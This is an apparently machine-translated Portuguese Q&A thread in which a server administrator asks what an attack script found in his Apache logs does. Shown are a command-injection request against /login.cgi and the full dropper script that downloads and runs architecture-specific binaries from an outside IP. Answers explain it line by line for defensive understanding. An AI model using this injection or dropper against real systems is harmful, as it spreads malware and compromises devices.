O que esse script bash faz? [Tentativa de invasão]

31

Eu tenho notado nos meus servidores apache logs, as seguintes linhas estranhas ultimamente:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Então, criei um filtro Fail2Ban personalizado e comecei a banir os IPs solicitando esses URLs /login.cgi.

Mas eu estava curioso para saber o que eles estavam tentando fazer, então selecionei o script que eles estão tentando executar e não consigo descobrir o que exatamente ele faz. Algo sobre remover pastas de arco em / var e / tmp?

Enfim, aqui está:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
fonte
4
Vulnerabilidade relacionada: twitter.com/txalin/status/1007625620090707974?lang=pt
user2064000 8/18
1
Como esse script chegou ao seu servidor em primeiro lugar?
precisa saber é o seguinte
3
Acabei de abrir o arquivo .sh em um navegador no meu PC doméstico, copiei e colei aqui, ele nunca chegou ao meu servidor.
Ndom91 9/0918
1
Este script é um 'conta-gotas', usado para baixar o script de exploração real. Ele estará localizado em hxxp://80.211.173.159:80/$nameonde $nameestá cada uma das arquiteturas da CPU bin_names. Então, 7 de scripts de ataque será baixado e executado
BlueCacti

Respostas:

42

Linha por linha:

#!/bin/sh

Estabelece a shcasca, o que for, como a linha shebang. sh%20/tmp/ksna solicitação substitui isso, portanto, essa linha é tratada como um comentário normal e ignorada.

u="asgknskjdgn"

Declara um nome arbitrário, presumivelmente para evitar colisões com outros nomes de arquivos. Não sei por que eles não usariam apenas mktemp, mas talvez isso não esteja disponível em todas as plataformas.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera várias arquiteturas comuns da CPU.

http_server="80.211.173.159"
http_port=80

O servidor que possui a exploração.

cd /tmp/||cd /var/

Tenta alterar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará nisso, aplicando regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos por si só.

for name in $bin_names
    do

Para cada arquitetura de CPU…

    rm -rf $u

Remove programas de exploração tentados anteriormente. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.

    cp $SHELL $u

Copia o atual executável do shell ( /bin/sh). Pode ser ignorado por causa da linha após a próxima.

    chmod 777 $u

Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o wgetcomando, que é um sinal de um novato em script de shell ou uma técnica de desvio de direção.

    >$u

Esvazia o arquivo. Inútil por causa da próxima linha.

    wget http://$http_server:$http_port/$name -O -> $u

Substitui o arquivo pelo script de exploração desta arquitetura. -O -> $upoderia ter sido gravado -O - > $u(o hífen indica que o download deve ser gravado na saída padrão) ao qual é equivalente -O $u.

    ./$u $name

Executa o script de exploração com a arquitetura como o primeiro argumento.

done

Termina o ciclo.

Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas em várias plataformas de CPU. Não sei por que ele sobrescreve $utrês vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, a versão anterior tinha as explorações codificadas em vez de atendidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz ao longo do tempo à medida que os bugs são corrigidos.

l0b0
fonte
21
Há uma vantagem em explicitamente rm'ing o arquivo. Se o destino já existe e está sendo executado no momento, o kernel não permitirá que você abra o arquivo para gravação (-ETXTBSY). No entanto, renomear ou excluir um programa em execução é permitido.
grawity
O que faz ->o wgetcomando? Por que não apenas wget ... -O $u?
RonJohn
1
@RonJohn leu como- >
cat
5
Com -O->filename, o filenamenão aparece na saída do ps ax . Isso pode ser uma vantagem para tornar a depuração mais difícil.
pts
1
O cpfornece um arquivo executável. Possivelmente útil se chmodfalhar? Edit: dado que aparentemente isso tem como alvo roteadores, é bem possível que chmodnão exista.
Bob
12

A wgeté a principal linha perigosa.

Ele for name in $bin_namesestá trabalhando na lista de plataformas e, para cada plataforma, está limpando um diretório temporário, copiando um shell e tornando-o acessível a todos.

Em seguida, ele baixa um arquivo usando wgete depois o executa usando o programa shell que acabou de copiar.

O script está basicamente tentando baixar uma série de executáveis ​​ou scripts para todas as plataformas possíveis e esfregando-os no seu sistema na esperança de que possa comprometer ainda mais o seu sistema.

Mokubai
fonte
6
esfregando == correndo?
Barmar 08/09
5
@Barmar Tenho certeza de que foi intencional: P
Canadian Luke REINSTATE MONICA